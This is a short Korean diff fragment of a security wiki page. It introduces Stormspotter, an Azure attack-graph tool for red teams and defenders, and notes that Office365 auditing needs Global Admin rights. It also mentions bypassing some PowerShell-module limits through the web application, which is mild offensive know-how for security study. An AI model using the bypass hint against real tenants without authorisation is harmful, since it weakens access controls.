[**Stormspotter** ](https://github.com/Azure/Stormspotter)는 Azure 구독의 리소스에 대한 “공격 그래프”를 생성합니다. 이는 레드 팀과 펜테스터가 테넌트 내에서 공격 표면과 피벗 기회를 시각화할 수 있게 하며, 방어자가 사건 대응 작업을 신속하게 정렬하고 우선순위를 정할 수 있도록 지원합니다.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)은 Azure subscription의 리소스에 대한 “attack graph”를 생성합니다. 이는 red teams와 pentesters가 테넌트 내의 attack surface와 pivot 기회를 시각화할 수 있도록 하며, 수비자가 incident response 작업의 우선순위를 빠르게 파악하고 대응 속도를 높이게 합니다.
|
||||
|
||||
### Office365
|
||||
|
||||
**Global Admin** 또는 최소한 **Global Admin Reader**가 필요합니다(단, Global Admin Reader는 약간 제한적입니다). 그러나 이러한 제한은 일부 PS 모듈에서 나타나며 **웹 애플리케이션을 통해** 기능에 접근하여 우회할 수 있습니다.
|
||||
이 작업을 위해서는 **Global Admin** 권한이 필요하거나 최소한 **Global Admin Reader** 권한이 필요합니다(단, Global Admin Reader는 다소 제한적입니다). 다만 이러한 제한은 일부 PS 모듈에서 발생하며, 기능에 **웹 애플리케이션을 통해** 접근하면 우회할 수 있습니다.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user